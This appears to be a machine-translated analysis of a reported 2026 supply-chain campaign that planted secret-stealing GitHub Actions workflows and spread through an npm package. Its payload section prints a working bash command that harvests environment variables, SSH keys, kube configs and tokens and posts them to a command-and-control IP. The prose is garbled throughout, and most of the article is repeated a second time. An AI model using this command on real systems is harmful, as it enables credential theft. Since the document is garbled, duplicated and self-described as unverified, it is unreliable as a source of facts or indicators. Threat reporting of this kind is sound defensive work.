Discallimmer: The "Megaloodon" campaign is described on the basis of the publications StepSecurity and SafeDeep, which at the time of writing were not independently verified and not confirmed by NVD, CISA or other reputable sources. All IoCs (IP addresses, email, SHA of commissions, names of the affected organizations, dates, volumes) are given "as stated" and may be inaccurate. Verify this data yourself before being used in a detection or response.
In May 2026, StepSecurity and SafeDep allegedly recorded the Megalodon campaign - about 5700 malicious commits in a thousand public GitHub repositories. According to the same data, one of the poisoned projects led to the publication of infected npm-packages. And the npm-account of the maine store no one broke: the developer himself performed npm publish from the poisoned source. This is not a compromise of accounting - it is poisoning of trust in source tree.
Business logic: why a CI-runner is more expensive than corporate mail
Before digging a technique - why an attacker should a CI/CD fly at all? CI-runner is a machine that simultaneously lies AWS access keys, GCP OAuth tokens, Azure IMDS credentials, tokens for publication in npm/PyPi/Dokler Hub, SSH keys, Kubernetes-configi and GitHub Action OIDC tokens. One successful launch of malicious workflow gives more than a month of phishing campaign. According to the IBM X-Force Thread Intelligence Index 2025, infolers are the most common type of malware in 2024 (32% of all detected), and the CI-environment for them is the perfect feeder.
The attack chain falls on several MITRE ATT&CK techniques: access through stolen credentials T1078 (Valid Accounts) and T1552 (Unsecured Credentials). Injection in CI-pipeline and downstream distribution through an infected npm-package - T1195.002 (Compromise Software Supply Chain) (Tanika of Initial Access). By CWE - CWE-506 (Embeded Malicious Code), by OWASP - A08 - Software and Data Integrity Failures. The attacker does not exploit the vulnerability in GitHub. It operates within the standard permit model (T1078), using excessive privileges and no mandatory code review on workflow files. According to the documents, everything is legitimate. In practice, full access to infrastructure.
Predecessor: CVE-2025-30066 and commography tj-actions/changed-files
Megaloddon didn't come out of nowhere. In March 2025, the widely used GitHub Action tj-actions/changed-files was compromised through the substitution of mutable tags versions - CVE-2025-30066, included in the CISA KEV catalog as an actively exploited vulnerability. According to the report of CSA Labs, the incident affected from hundreds to tens of thousands of downstream repositories.
The mechanics is simple to indecency. The attacker rewrote the tags v1-v45.0.7, indicating them to the comit 0e58ed8 with malicious updateFeatures-code. Each workflow, referring to any of these tags, at the next launch downloaded and performed a poisoned version of the action. Vulnerabilities assigned CVSS 8.6 - HIGH (not Critical; Critical threshold - 9.0), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. In the CISA KEV got because of the fact of active operation. The root of the problem is one property of Git: a mutable tag - a pointer, not a fixed address. Anyone with write-access can be reassigned.
nvd.nist.gov
CVE-2025-30066 documented, dismantled and accompanied by the guidelines for the mitigation. Megalodon after fourteen months showed that the speed of acceptance of recommendations by the ecosystem is critically lagging behind the evolution of attacks.
Megalodon Mechanics: How Supply Chain Race Attack Works
Technique: Direct Poisoned Pipeline Execution (d-PPE)
Megalodon - training example Direct Poisoned Pipeline Execution (d-PPE). Attacking with write-access to the repository directly rules workflow-files in .github/workflows/. The CI system executes malicious commands the next time the lipline is triggered. No vulnerability in GitHub is exploited - the attacker works inside the standard resolution model.
The key difference from the indirect PPE (i-PPE): in d-PPE, the attacker is fluttering directly in the default default without pull request. Branch Protection with a mandatory revue is the main structural control that turns d-PPE into a much more complex i-PPE. There, the attacker already needs to deceive a revoyer - a completely different story.
Chronology and camouflage
According to SafeDep, the campaign was active for several hours on May 18, 2026. The attackers used disposable GitHub accounts with randomized logins and forged the author's data of the comites. The author's fields contained plausible names of automation: build-bot, auto-ci, ci-bot, pipeline-bot - with addresses [email protected] and [email protected]. Commitments were followed by Conventional Commits: ci: add build optimization step, chore: optimize pipeline runtime.
When looking at the fluent viewing of the story in a high-load repository, such comets look like a routine. That's what the calculation.
Where to write-access
According to StepSecurity, access to targeted repositories is obtained through compromised Personal Access Tokens (PAT) and keys. Address [email protected] appeared in the telemetry of the informseller as a compromised host. Chapel infostealer -> credential harvesting -> pipeline poisoning - recognizable escalation pattern in attacks on the supply chain of software. Nothing new, but it works stably.
Two payload options: infection of GitHub repositories
StepSecureity and SafeDepp have identified two variants of the implemented workflow with a different activation strategy.
SysDiag - mass collection of secrets
First option (field name: SysDiag in YAML) created a new workflow file with triggers on: [push, pull_request]. Any activity in the repository ran payload - the maximum probability of exfilter before detection. Presumably used against most of the affected repositories. Rude, but effective.
Optimize-Build - Sleeping Backdoor
The second option (field name: Optimize-Build) used the trigger workflow_dispatch. The attacker could activate the backdoor later through the GitHub API with stolen tokens. This trigger is freed from GitHub anti-recursion rules - even after the cleaning of the mass version, the sleeping Optimize-Buildflow work remained in repositories. Cunning than SysDiag, and much more dangerous in the long run.
Composition of payload
Both variants contained a base64-encoded bash-payload. According to StepSecurity, when performing, he collected more than 30 categories of secrets: a full dump of the environment of the CI environment, /proc/*/environ all processes, AWS access keys and session tokens, GCP OAuth tokens, Azure IMDS credentials, SSH private keys, .npmrc tokens, ~/.kube/config, HashiCorp Vault tokens, GitHub Actions OIDC tokens and grep by workspace topats API_KEY, SECRET, TOKEN, PASSWORD, PRIVATE_KEY.
Bash:
DATA=$(env; cat /proc/1/environ 2>/dev/null; cat ~/.ssh/id_* 2>/dev/null; cat ~/.kube/config 2>/dev/null; grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD)" --exclude-dir=node_modules --exclude-dir=.git --include='*.env' --include='*.yml' --include='*.json' . 2>/dev/null | head -c 1048576)
echo "$DATA" | gzip | curl -sk -X POST https://216.126.225.129:8443/collect -H "Content-Type: application/octet-stream" --data-binary @-
Flag -k disables TLS certificate check - a typical technique for payload, accessing C2 via direct IP without a valid certificate. For a CI-runner, this is a regular outbound HTTPS request. The process is completed clean. On early armor with large workspace (monorespo with node_modules), the unfiltered grep will create a noticeable IO-load - real campaigns use more point filters. Most CI-environments leave outgoing traffic unlimited, so bypass firewall is not needed.
Kill chain: from infosiler to poisoning of the npm-package
Full chain of attack Megalodon:
Credential Harvesting - Infoseller on a Developer's Machine steals GitHub PAT / keys
Repository Write Access - the attacker authenticated and flutters in .github/workflows/
d-PPE Injection - malicious workflow is added or replaces the existing
CI Execution - the next push/PR runner performs payload
Secret Exfiltration - credentials go to C2 (216.126.225.129:8443)
Downstream Propagation - from the poisoned repository published a legitimate package
The sixth point is the most painful. By publications SafeDep, npm-package @tiledesk/tiledesk-server A number of versions were allegedly published from the poisoned repository by a legitimate continent. The attacker did not touch the npm account - the developer himself launched npm publish From the infected source tree. Backdoor spread to downstream ppm consumers through regular npm install.
Among the allegedly affected organizations, according to StepSecurity: Tiledesk, Black-Iron-Project, WISE-Community. SafeDep has published a file megalodon-campaign-commits.csv with a list of commissions.
In May 2026, StepSecurity and SafeDep allegedly recorded the Megalodon campaign - about 5700 malicious commits in a thousand public GitHub repositories. According to the same data, one of the poisoned projects led to the publication of infected npm-packages. And the npm-account of the maine store no one broke: the developer himself performed npm publish from the poisoned source. This is not a compromise of accounting - it is poisoning of trust in source tree.
Business logic: why a CI-runner is more expensive than corporate mail
Before digging a technique - why an attacker should a CI/CD fly at all? CI-runner is a machine that simultaneously lies AWS access keys, GCP OAuth tokens, Azure IMDS credentials, tokens for publication in npm/PyPi/Dokler Hub, SSH keys, Kubernetes-configi and GitHub Action OIDC tokens. One successful launch of malicious workflow gives more than a month of phishing campaign. According to the IBM X-Force Thread Intelligence Index 2025, infolers are the most common type of malware in 2024 (32% of all detected), and the CI-environment for them is the perfect feeder.
The attack chain falls on several MITRE ATT&CK techniques: access through stolen credentials T1078 (Valid Accounts) and T1552 (Unsecured Credentials). Injection in CI-pipeline and downstream distribution through an infected npm-package - T1195.002 (Compromise Software Supply Chain) (Tanika of Initial Access). By CWE - CWE-506 (Embeded Malicious Code), by OWASP - A08 - Software and Data Integrity Failures. The attacker does not exploit the vulnerability in GitHub. It operates within the standard permit model (T1078), using excessive privileges and no mandatory code review on workflow files. According to the documents, everything is legitimate. In practice, full access to infrastructure.
Predecessor: CVE-2025-30066 and commography tj-actions/changed-files
Megaloddon didn't come out of nowhere. In March 2025, the widely used GitHub Action tj-actions/changed-files was compromised through the substitution of mutable tags versions - CVE-2025-30066, included in the CISA KEV catalog as an actively exploited vulnerability. According to the report of CSA Labs, the incident affected from hundreds to tens of thousands of downstream repositories.
The mechanics is simple to indecency. The attacker rewrote the tags v1-v45.0.7, indicating them to the comit 0e58ed8 with malicious updateFeatures-code. Each workflow, referring to any of these tags, at the next launch downloaded and performed a poisoned version of the action. Vulnerabilities assigned CVSS 8.6 - HIGH (not Critical; Critical threshold - 9.0), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. In the CISA KEV got because of the fact of active operation. The root of the problem is one property of Git: a mutable tag - a pointer, not a fixed address. Anyone with write-access can be reassigned.
NVD - CVE-2025-30066
nvd.nist.gov
CVE-2025-30066 documented, dismantled and accompanied by the guidelines for the mitigation. Megalodon after fourteen months showed that the speed of acceptance of recommendations by the ecosystem is critically lagging behind the evolution of attacks.
Megalodon Mechanics: How Supply Chain Race Attack Works
Technique: Direct Poisoned Pipeline Execution (d-PPE)
Megalodon - training example Direct Poisoned Pipeline Execution (d-PPE). Attacking with write-access to the repository directly rules workflow-files in .github/workflows/. The CI system executes malicious commands the next time the lipline is triggered. No vulnerability in GitHub is exploited - the attacker works inside the standard resolution model.
The key difference from the indirect PPE (i-PPE): in d-PPE, the attacker is fluttering directly in the default default without pull request. Branch Protection with a mandatory revue is the main structural control that turns d-PPE into a much more complex i-PPE. There, the attacker already needs to deceive a revoyer - a completely different story.
Chronology and camouflage
According to SafeDep, the campaign was active for several hours on May 18, 2026. The attackers used disposable GitHub accounts with randomized logins and forged the author's data of the comites. The author's fields contained plausible names of automation: build-bot, auto-ci, ci-bot, pipeline-bot - with addresses [email protected] and [email protected]. Commitments were followed by Conventional Commits: ci: add build optimization step, chore: optimize pipeline runtime.
When looking at the fluent viewing of the story in a high-load repository, such comets look like a routine. That's what the calculation.
Where to write-access
According to StepSecurity, access to targeted repositories is obtained through compromised Personal Access Tokens (PAT) and keys. Address [email protected] appeared in the telemetry of the informseller as a compromised host. Chapel infostealer -> credential harvesting -> pipeline poisoning - recognizable escalation pattern in attacks on the supply chain of software. Nothing new, but it works stably.
Two payload options: infection of GitHub repositories
StepSecureity and SafeDepp have identified two variants of the implemented workflow with a different activation strategy.
SysDiag - mass collection of secrets
First option (field name: SysDiag in YAML) created a new workflow file with triggers on: [push, pull_request]. Any activity in the repository ran payload - the maximum probability of exfilter before detection. Presumably used against most of the affected repositories. Rude, but effective.
Optimize-Build - Sleeping Backdoor
The second option (field name: Optimize-Build) used the trigger workflow_dispatch. The attacker could activate the backdoor later through the GitHub API with stolen tokens. This trigger is freed from GitHub anti-recursion rules - even after the cleaning of the mass version, the sleeping Optimize-Buildflow work remained in repositories. Cunning than SysDiag, and much more dangerous in the long run.
Composition of payload
Both variants contained a base64-encoded bash-payload. According to StepSecurity, when performing, he collected more than 30 categories of secrets: a full dump of the environment of the CI environment, /proc/*/environ all processes, AWS access keys and session tokens, GCP OAuth tokens, Azure IMDS credentials, SSH private keys, .npmrc tokens, ~/.kube/config, HashiCorp Vault tokens, GitHub Actions OIDC tokens and grep by workspace topats API_KEY, SECRET, TOKEN, PASSWORD, PRIVATE_KEY.
Bash:
DATA=$(env; cat /proc/1/environ 2>/dev/null; cat ~/.ssh/id_* 2>/dev/null; cat ~/.kube/config 2>/dev/null; grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD)" --exclude-dir=node_modules --exclude-dir=.git --include='*.env' --include='*.yml' --include='*.json' . 2>/dev/null | head -c 1048576)
echo "$DATA" | gzip | curl -sk -X POST https://216.126.225.129:8443/collect -H "Content-Type: application/octet-stream" --data-binary @-
Flag -k disables TLS certificate check - a typical technique for payload, accessing C2 via direct IP without a valid certificate. For a CI-runner, this is a regular outbound HTTPS request. The process is completed clean. On early armor with large workspace (monorespo with node_modules), the unfiltered grep will create a noticeable IO-load - real campaigns use more point filters. Most CI-environments leave outgoing traffic unlimited, so bypass firewall is not needed.
Kill chain: from infosiler to poisoning of the npm-package
Full chain of attack Megalodon:
Credential Harvesting - Infoseller on a Developer's Machine steals GitHub PAT / keys
Repository Write Access - the attacker authenticated and flutters in .github/workflows/
d-PPE Injection - malicious workflow is added or replaces the existing
CI Execution - the next push/PR runner performs payload
Secret Exfiltration - credentials go to C2 (216.126.225.129:8443)
Downstream Propagation - from the poisoned repository published a legitimate package
The sixth point is the most painful. By publications SafeDep, npm-package @tiledesk/tiledesk-server A number of versions were allegedly published from the poisoned repository by a legitimate continent. The attacker did not touch the npm account - the developer himself launched npm publish From the infected source tree. Backdoor spread to downstream ppm consumers through regular npm install.
Among the allegedly affected organizations, according to StepSecurity: Tiledesk, Black-Iron-Project, WISE-Community. SafeDep has published a file megalodon-campaign-commits.csv with a list of commissions.
